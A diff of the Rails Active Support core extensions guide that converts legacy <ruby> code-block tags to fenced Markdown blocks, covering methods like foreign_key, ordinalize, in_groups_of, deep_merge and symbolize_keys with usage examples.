NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1765,24 +1765,24 @@ h5. +foreign_key+
The method +foreign_key+ gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
-<ruby>
+```ruby
"User".foreign_key # => "user_id"
"InvoiceLine".foreign_key # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"
-</ruby>
+```
Pass a false argument if you do not want the underscore in "_id":
-<ruby>
+```ruby
"User".foreign_key(false) # => "userid"
-</ruby>
+```
Associations use this method to infer foreign keys, for example +has_one+ and +has_many+ do this:
-<ruby>
+```ruby
# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1792,18 +1792,18 @@ h5. +to_date+, +to_time+, +to_datetime+
The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+:
-<ruby>
+```ruby
"2010-07-27".to_date # => Tue, 27 Jul 2010
"2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
-</ruby>
+```
+to_time+ receives an optional argument +:utc+ or +:local+, to indicate which time zone you want the time in:
-<ruby>
+```ruby
"2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010
"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
-</ruby>
+```
Default is +:utc+.
@@ -1819,7 +1819,7 @@ h4. Bytes
All numbers respond to these methods:
-<ruby>
+```ruby
bytes
kilobytes
megabytes
@@ -1827,22 +1827,22 @@ gigabytes
terabytes
petabytes
exabytes
-</ruby>
+```
They return the corresponding amount of bytes, using a conversion factor of 1024:
-<ruby>
+```ruby
2.kilobytes # => 2048
3.megabytes # => 3145728
3.5.gigabytes # => 3758096384
-4.exabytes # => -4611686018427387904
-</ruby>
+```
Singular forms are aliased so you are able to say:
-<ruby>
+```ruby
1.megabyte # => 1048576
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+.
@@ -1853,7 +1853,7 @@ Enables the use of time calculations and declarations, like @45.minutes <plus> 2
These methods use Time#advance for precise date calculations when using from_now, ago, etc.
as well as adding or subtracting their results from a Time object. For example:
-<ruby>
+```ruby
# equivalent to Time.current.advance(:months => 1)
1.month.from_now
@@ -1862,19 +1862,19 @@ as well as adding or subtracting their results from a Time object. For example:
# equivalent to Time.current.advance(:months => 4, :years => 5)
(4.months + 5.years).from_now
-</ruby>
+```
While these methods provide precise calculation when used as in the examples above, care
should be taken to note that this is not true if the result of `months', `years', etc is
converted before use:
-<ruby>
+```ruby
# equivalent to 30.days.to_i.from_now
1.month.to_i.from_now
# equivalent to 365.25.days.to_f.from_now
1.year.to_f.from_now
-</ruby>
+```
In such cases, Ruby's core
Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
@@ -1889,7 +1889,7 @@ Enables the formatting of numbers in a variety of ways.
Produce a string representation of a number as a telephone number:
-<ruby>
+```ruby
5551234.to_s(:phone)
# => 555-1234
1235551234.to_s(:phone)
@@ -1902,19 +1902,19 @@ Produce a string representation of a number as a telephone number:
# => (123) 555-1234 x 555
1235551234.to_s(:phone, :country_code => 1)
# => +1-123-555-1234
-</ruby>
+```
Produce a string representation of a number as currency:
-<ruby>
+```ruby
1234567890.50.to_s(:currency) # => $1,234,567,890.50
1234567890.506.to_s(:currency) # => $1,234,567,890.51
1234567890.506.to_s(:currency, :precision => 3) # => $1,234,567,890.506
-</ruby>
+```
Produce a string representation of a number as a percentage:
-<ruby>
+```ruby
100.to_s(:percentage)
# => 100.000%
100.to_s(:percentage, :precision => 0)
@@ -1923,42 +1923,42 @@ Produce a string representation of a number as a percentage:
# => 1.000,000%
302.24398923423.to_s(:percentage, :precision => 5)
# => 302.24399%
-</ruby>
+```
Produce a string representation of a number in delimited form:
-<ruby>
+```ruby
12345678.to_s(:delimited) # => 12,345,678
12345678.05.to_s(:delimited) # => 12,345,678.05
12345678.to_s(:delimited, :delimiter => ".") # => 12.345.678
12345678.to_s(:delimited, :delimiter => ",") # => 12,345,678
12345678.05.to_s(:delimited, :separator => " ") # => 12,345,678 05
-</ruby>
+```
Produce a string representation of a number rounded to a precision:
-<ruby>
+```ruby
111.2345.to_s(:rounded) # => 111.235
111.2345.to_s(:rounded, :precision => 2) # => 111.23
13.to_s(:rounded, :precision => 5) # => 13.00000
389.32314.to_s(:rounded, :precision => 0) # => 389
111.2345.to_s(:rounded, :significant => true) # => 111
-</ruby>
+```
Produce a string representation of a number as a human-readable number of bytes:
-<ruby>
+```ruby
123.to_s(:human_size) # => 123 Bytes
1234.to_s(:human_size) # => 1.21 KB
12345.to_s(:human_size) # => 12.1 KB
1234567.to_s(:human_size) # => 1.18 MB
1234567890.to_s(:human_size) # => 1.15 GB
1234567890123.to_s(:human_size) # => 1.12 TB
-</ruby>
+```
Produce a string representation of a number in human-readable words:
-<ruby>
+```ruby
123.to_s(:human) # => "123"
1234.to_s(:human) # => "1.23 Thousand"
12345.to_s(:human) # => "12.3 Thousand"
@@ -1966,7 +1966,7 @@ Produce a string representation of a number in human-readable words:
1234567890.to_s(:human) # => "1.23 Billion"
1234567890123.to_s(:human) # => "1.23 Trillion"
1234567890123456.to_s(:human) # => "1.23 Quadrillion"
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/numeric/formatting.rb+.
@@ -1976,10 +1976,10 @@ h4. +multiple_of?+
The method +multiple_of?+ tests whether an integer is multiple of the argument:
-<ruby>
+```ruby
2.multiple_of?(1) # => true
1.multiple_of?(2) # => false
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/integer/multiple.rb+.
@@ -1987,14 +1987,14 @@ h4. +ordinal+
The method +ordinal+ returns the ordinal suffix string corresponding to the receiver integer:
-<ruby>
+```ruby
1.ordinal # => "st"
2.ordinal # => "nd"
53.ordinal # => "rd"
2009.ordinal # => "th"
-21.ordinal # => "st"
-134.ordinal # => "th"
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
@@ -2002,14 +2002,14 @@ h4. +ordinalize+
The method +ordinalize+ returns the ordinal string corresponding to the receiver integer. In comparison, note that the +ordinal+ method returns *only* the suffix string.
-<ruby>
+```ruby
1.ordinalize # => "1st"
2.ordinalize # => "2nd"
53.ordinalize # => "53rd"
2009.ordinalize # => "2009th"
-21.ordinalize # => "-21st"
-134.ordinalize # => "-134th"
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
@@ -2023,46 +2023,46 @@ h4. +sum+
The method +sum+ adds the elements of an enumerable:
-<ruby>
+```ruby
[1, 2, 3].sum # => 6
(1..100).sum # => 5050
-</ruby>
+```
Addition only assumes the elements respond to <tt>+</tt>:
-<ruby>
+```ruby
[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4]
%w(foo bar baz).sum # => "foobarbaz"
{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1]
-</ruby>
+```
The sum of an empty collection is zero by default, but this is customizable:
-<ruby>
+```ruby
[].sum # => 0
[].sum(1) # => 1
-</ruby>
+```
If a block is given, +sum+ becomes an iterator that yields the elements of the collection and sums the returned values:
-<ruby>
+```ruby
(1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum # => 30
-</ruby>
+```
The sum of an empty receiver can be customized in this form as well:
-<ruby>
+```ruby
[].sum(1) {|n| n**3} # => 1
-</ruby>
+```
The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way:
-<ruby>
+```ruby
def observed_subclasses
observed_classes.sum([]) { |klass| klass.send(:subclasses) }
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/enumerable.rb+.
@@ -2072,10 +2072,10 @@ The method +index_by+ generates a hash with the elements of an enumerable indexe
It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
-<ruby>
+```ruby
invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
-</ruby>
+```
WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
@@ -2085,17 +2085,17 @@ h4. +many?+
The method +many?+ is shorthand for +collection.size > 1+:
-<erb>
+```erb
<% if pages.many? %>
<%= pagination_links %>
<% end %>
-</erb>
+```
If an optional block is given, +many?+ only takes into account those elements that return true:
-<ruby>
+```ruby
@see_more = videos.many? {|video| video.category == params[:category]}
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/enumerable.rb+.
@@ -2103,9 +2103,9 @@ h4. +exclude?+
The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the built-in +include?+:
-<ruby>
+```ruby
to_visit << node if visited.exclude?(node)
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/enumerable.rb+.
@@ -2115,25 +2115,25 @@ h4. Accessing
Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
-<ruby>
+```ruby
%w(a b c d).to(2) # => %w(a b c)
[].to(7) # => []
-</ruby>
+```
Similarly, +from+ returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
-<ruby>
+```ruby
%w(a b c d).from(2) # => %w(c d)
%w(a b c d).from(10) # => []
[].from(0) # => []
-</ruby>
+```
The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is built-in). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
-<ruby>
+```ruby
%w(a b c d).third # => c
%w(a b c d).fifth # => nil
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/array/access.rb+.
@@ -2143,10 +2143,10 @@ h5. +prepend+
This method is an alias of <tt>Array#unshift</tt>.
-<ruby>
+```ruby
%w(a b c d).prepend('e') # => %w(e a b c d)
[].prepend(10) # => [10]
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
@@ -2154,10 +2154,10 @@ h5. +append+
This method is an alias of <tt>Array#<<</tt>.
-<ruby>
+```ruby
%w(a b c d).append('e') # => %w(a b c d e)
[].append([1,2]) # => [[1,2]]
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
@@ -2165,9 +2165,9 @@ h4. Options Extraction
When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
-<ruby>
+```ruby
User.exists?(:email => params[:email])
-</ruby>
+```
That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
@@ -2177,13 +2177,13 @@ In those cases, you may give an options hash a distinguished treatment with +ext
Let's see for example the definition of the +caches_action+ controller macro:
-<ruby>
+```ruby
def caches_action(*actions)
return unless cache_configured?
options = actions.extract_options!
...
end
-</ruby>
+```
This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way.
@@ -2195,12 +2195,12 @@ h5. +to_sentence+
The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items:
-<ruby>
+```ruby
%w().to_sentence # => ""
%w(Earth).to_sentence # => "Earth"
%w(Earth Wind).to_sentence # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
-</ruby>
+```
This method accepts three options:
@@ -2225,11 +2225,11 @@ The method +to_formatted_s+ acts like +to_s+ by default.
If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs. Returned strings are:
-<ruby>
+```ruby
[].to_formatted_s(:db) # => "null"
[user].to_formatted_s(:db) # => "8456"
invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
-</ruby>
+```
Integers in the example above are supposed to come from the respective calls to +id+.
@@ -2239,7 +2239,7 @@ h5. +to_xml+
The method +to_xml+ returns a string containing an XML representation of its receiver:
-<ruby>
+```ruby
Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2257,7 +2257,7 @@ Contributor.limit(2).order(:rank).to_xml
# <url-id>david-heinemeier-hansson</url-id>
# </contributor>
# </contributors>
-</ruby>
+```
To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise.
@@ -2265,7 +2265,7 @@ By default, the name of the root element is the underscorized and dasherized plu
If there's any element that does not belong to the type of the first one the root node becomes "objects":
-<ruby>
+```ruby
[Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2289,11 +2289,11 @@ If there's any element that does not belong to the type of the first one the roo
# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
# </object>
# </objects>
-</ruby>
+```
If the receiver is an array of hashes the root element is by default also "objects":
-<ruby>
+```ruby
[{:a => 1, :b => 2}, {:c => 3}].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2306,7 +2306,7 @@ If the receiver is an array of hashes the root element is by default also "objec
# <c type="integer">3</c>
# </object>
# </objects>
-</ruby>
+```
WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element.
@@ -2314,7 +2314,7 @@ The name of children nodes is by default the name of the root node singularized.
The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder:
-<ruby>
+```ruby
Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2332,7 +2332,7 @@ Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
# <url-id>david-heinemeier-hansson</url-id>
# </contributor>
# </contributors>
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
@@ -2346,11 +2346,11 @@ Specifically:
* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned.
* Otherwise, an array with the argument as its single element is returned.
-<ruby>
+```ruby
Array.wrap(nil) # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0) # => [0]
-</ruby>
+```
This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
@@ -2360,16 +2360,16 @@ This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some d
The last point is particularly worth comparing for some enumerables:
-<ruby>
+```ruby
Array.wrap(:foo => :bar) # => [{:foo => :bar}]
Array(:foo => :bar) # => [[:foo, :bar]]
-</ruby>
+```
There's also a related idiom that uses the splat operator:
-<ruby>
+```ruby
[*object]
-</ruby>
+```
which in Ruby 1.8 returns +[nil]+ for +nil+, and calls to <tt>Array(object)</tt> otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
@@ -2381,12 +2381,12 @@ h4. Duplicating
The method +Array.deep_dup+ duplicates itself and all objects inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Array#map+ with sending +deep_dup+ method to each object inside.
-<ruby>
+```ruby
array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil # => true
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/array/deep_dup.rb+.
@@ -2396,13 +2396,13 @@ h5. +in_groups_of(number, fill_with = nil)+
The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
-<ruby>
+```ruby
[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
-</ruby>
+```
or yields them in turn if a block is passed:
-<ruby>
+```ruby
<% sample.in_groups_of(3) do |a, b, c| %>
<tr>
<td><%=h a %></td>
@@ -2410,19 +2410,19 @@ or yields them in turn if a block is passed:
<td><%=h c %></td>
</tr>
<% end %>
-</ruby>
+```
The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
-<ruby>
+```ruby
[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
-</ruby>
+```
And you can tell the method not to fill the last group passing +false+:
-<ruby>
+```ruby
[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
-</ruby>
+```
As a consequence +false+ can't be a used as a padding value.
@@ -2432,35 +2432,35 @@ h5. +in_groups(number, fill_with = nil)+
The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
-</ruby>
+```
or yields them in turn if a block is passed:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]
-</ruby>
+```
The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
You can change this padding value using the second optional argument:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
-</ruby>
+```
And you can tell the method not to fill the smaller groups passing +false+:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
-</ruby>
+```
As a consequence +false+ can't be a used as a padding value.
@@ -2472,17 +2472,17 @@ The method +split+ divides an array by a separator and returns the resulting chu
If a block is passed the separators are those elements of the array for which the block returns true:
-<ruby>
+```ruby
(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
-</ruby>
+```
Otherwise, the value received as argument, which defaults to +nil+, is the separator:
-<ruby>
+```ruby
[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]
-</ruby>
+```
TIP: Observe in the previous example that consecutive separators result in empty arrays.
@@ -2496,7 +2496,7 @@ h5(#hash-to-xml). +to_xml+
The method +to_xml+ returns a string containing an XML representation of its receiver:
-<ruby>
+```ruby
{"foo" => 1, "bar" => 2}.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2504,7 +2504,7 @@ The method +to_xml+ returns a string containing an XML representation of its rec
# <foo type="integer">1</foo>
# <bar type="integer">2</bar>
# </hash>
-</ruby>
+```
To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+:
@@ -2518,7 +2518,7 @@ To do so, the method loops over the pairs and builds nodes that depend on the _v
* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping:
-<ruby>
+```ruby
XML_TYPE_NAMES = {
"Symbol" => "symbol",
"Fixnum" => "integer",
@@ -2531,7 +2531,7 @@ XML_TYPE_NAMES = {
"DateTime" => "datetime",
"Time" => "datetime"
}
-</ruby>
+```
By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
@@ -2543,10 +2543,10 @@ h4. Merging
Ruby has a built-in method +Hash#merge+ that merges two hashes:
-<ruby>
+```ruby
{:a => 1, :b => 1}.merge(:a => 0, :c => 2)
# => {:a => 0, :b => 1, :c => 2}
-</ruby>
+```
Active Support defines a few more ways of merging hashes that may be convenient.
@@ -2554,21 +2554,21 @@ h5. +reverse_merge+ and +reverse_merge!+
In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom:
-<ruby>
+```ruby
options = {:length => 30, :omission => "..."}.merge(options)
-</ruby>
+```
Active Support defines +reverse_merge+ in case you prefer this alternative notation:
-<ruby>
+```ruby
options = options.reverse_merge(:length => 30, :omission => "...")
-</ruby>
+```
And a bang version +reverse_merge!+ that performs the merge in place:
-<ruby>
+```ruby
options.reverse_merge!(:length => 30, :omission => "...")
-</ruby>
+```
WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea.
@@ -2588,10 +2588,10 @@ As you can see in the previous example if a key is found in both hashes the valu
Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
-<ruby>
+```ruby
{:a => {:b => 1}}.deep_merge(:a => {:c => 2})
# => {:a => {:b => 1, :c => 2}}
-</ruby>
+```
The method +deep_merge!+ performs a deep merge in place.
@@ -2601,7 +2601,7 @@ h4. Deep duplicating
The method +Hash.deep_dup+ duplicates itself and all keys and values inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Enumerator#each_with_object+ with sending +deep_dup+ method to each pair inside.
-<ruby>
+```ruby
hash = { :a => 1, :b => { :c => 2, :d => [3, 4] } }
dup = hash.deep_dup
@@ -2610,7 +2610,7 @@ dup[:b][:d] << 5
hash[:b][:e] == nil # => true
hash[:b][:d] == [3, 4] # => true
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/hash/deep_dup.rb+.
@@ -2624,7 +2624,7 @@ The method +diff+ returns a hash that represents a diff of the receiver and the
* The rest is just merged.
-<ruby>
+```ruby
{:a => 1}.diff(:a => 1)
# => {}, first rule
@@ -2640,13 +2640,13 @@ The method +diff+ returns a hash that represents a diff of the receiver and the
{}.diff({}) # => {}
{:a => 1}.diff({}) # => {:a => 1}
{}.diff(:a => 1) # => {:a => 1}
-</ruby>
+```
An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice:
-<ruby>
+```ruby
hash.diff(hash2).diff(hash2) == hash
-</ruby>
+```
Diffing hashes may be useful for error messages related to expected option hashes for example.
@@ -2658,23 +2658,23 @@ h5. +except+ and +except!+
The method +except+ returns a hash with the keys in the argument list removed, if present:
-<ruby>
+```ruby
{:a => 1, :b => 2}.except(:a) # => {:b => 2}
-</ruby>
+```
If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance:
-<ruby>
+```ruby
{:a => 1}.with_indifferent_access.except(:a) # => {}
{:a => 1}.with_indifferent_access.except("a") # => {}
-</ruby>
+```
The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+:
-<ruby>
+```ruby
params[:account] = params[:account].except(:plan_id) unless admin?
@account.update_attributes(params[:account])
-</ruby>
+```
There's also the bang variant +except!+ that removes keys in the very receiver.
@@ -2684,21 +2684,21 @@ h5. +transform_keys+ and +transform_keys!+
The method +transform_keys+ accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :a => :a}.transform_keys{ |key| key.to_s.upcase }
# => {"" => nil, "A" => :a, "1" => 1}
-</ruby>
+```
The result in case of collision is undefined:
-<ruby>
+```ruby
{"a" => 1, :a => 2}.transform_keys{ |key| key.to_s.upcase }
# => {"A" => 2}, in my test, can't rely on this result though
-</ruby>
+```
This method may be useful for example to build specialized conversions. For instance +stringify_keys+ and +symbolize_keys+ use +transform_keys+ to perform their key conversions:
-<ruby>
+```ruby
def stringify_keys
transform_keys{ |key| key.to_s }
end
@@ -2706,16 +2706,16 @@ end
def symbolize_keys
transform_keys{ |key| key.to_sym rescue key }
end
-</ruby>
+```
There's also the bang variant +transform_keys!+ that applies the block operations to keys in the very receiver.
Besides that, one can use +deep_transform_keys+ and +deep_transform_keys!+ to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
@@ -2723,27 +2723,27 @@ h5. +stringify_keys+ and +stringify_keys!+
The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :a => :a}.stringify_keys
# => {"" => nil, "a" => :a, "1" => 1}
-</ruby>
+```
The result in case of collision is undefined:
-<ruby>
+```ruby
{"a" => 1, :a => 2}.stringify_keys
# => {"a" => 2}, in my test, can't rely on this result though
-</ruby>
+```
This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines:
-<ruby>
+```ruby
def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
options = options.stringify_keys
options["type"] = "checkbox"
...
end
-</ruby>
+```
The second line can safely access the "type" key, and let the user to pass either +:type+ or "type".
@@ -2751,10 +2751,10 @@ There's also the bang variant +stringify_keys!+ that stringifies keys in the ver
Besides that, one can use +deep_stringify_keys+ and +deep_stringify_keys!+ to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_stringify_keys
# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
@@ -2762,29 +2762,29 @@ h5. +symbolize_keys+ and +symbolize_keys!+
The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them:
-<ruby>
+```ruby
{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
# => {1 => 1, nil => nil, :a => "a"}
-</ruby>
+```
WARNING. Note in the previous example only one key was symbolized.
The result in case of collision is undefined:
-<ruby>
+```ruby
{"a" => 1, :a => 2}.symbolize_keys
# => {:a => 2}, in my test, can't rely on this result though
-</ruby>
+```
This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines
-<ruby>
+```ruby
def rewrite_path(options)
options = options.symbolize_keys
options.update(options[:params].symbolize_keys) if options[:params]
...
end
-</ruby>
+```
The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params".
@@ -2792,10 +2792,10 @@ There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very
Besides that, one can use +deep_symbolize_keys+ and +deep_symbolize_keys!+ to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
-<ruby>
+```ruby
{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
# => {nil=>nil, 1=>1, :nested=>{:a=>3, 5=>5}}
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
@@ -2809,10 +2809,10 @@ h5. +assert_valid_keys+
The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised.
-<ruby>
+```ruby
{:a => 1}.assert_valid_keys(:a) # passes
{:a => 1}.assert_valid_keys("a") # ArgumentError
-</ruby>
+```
Active Record does not accept unknown options when building associations, for example. It implements that control via +assert_valid_keys+.
@@ -2822,30 +2822,30 @@ h4. Slicing
Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
-<ruby>
+```ruby
{:a => 1, :b => 2, :c => 3}.slice(:a, :c)
# => {:c => 3, :a => 1}
{:a => 1, :b => 2, :c => 3}.slice(:b, :X)
# => {:b => 2} # non-existing keys are ignored
-</ruby>
+```
If the receiver responds to +convert_key+ keys are normalized:
-<ruby>
+```ruby
{:a => 1, :b => 2}.with_indifferent_access.slice("a")
# => {:a => 1}
-</ruby>
+```
NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
There's also +slice!+ which in addition to perform a slice in place returns what's removed:
-<ruby>
+```ruby
hash = {:a => 1, :b => 2}
rest = hash.slice!(:a) # => {:b => 2}
hash # => {:a => 1}
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
@@ -2853,11 +2853,11 @@ h4. Extracting
The method +extract!+ removes and returns the key/value pairs matching the given keys.
-<ruby>
+```ruby
hash = {:a => 1, :b => 2}
rest = hash.extract!(:a) # => {:a => 1}
hash # => {:b => 2}
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
@@ -2865,9 +2865,9 @@ h4. Indifferent Access
The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
-<ruby>
+```ruby
{:a => 1}.with_indifferent_access["a"] # => 1
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+.
@@ -2877,17 +2877,17 @@ h4. +multiline?+
The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines.
-<ruby>
+```ruby
%r{.}.multiline? # => false
%r{.}m.multiline? # => true
Regexp.new('.').multiline? # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true
-</ruby>
+```
Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
-<ruby>
+```ruby
def assign_route_options(segments, defaults, requirements)
...
if requirement.multiline?
@@ -2895,7 +2895,7 @@ def assign_route_options(segments, defaults, requirements)
end
...
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/regexp.rb+.
@@ -2905,13 +2905,13 @@ h4. +to_s+
Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+:
-<ruby>
+```ruby
(Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"
(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"
-</ruby>
+```
As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That is used by Active Record in its support for range values in conditions.
@@ -2921,13 +2921,13 @@ h4. +include?+
The methods +Range#include?+ and +Range#===+ say whether some value falls between the ends of a given instance:
-<ruby>
+```ruby
(2..3).include?(Math::E) # => true
-</ruby>
+```
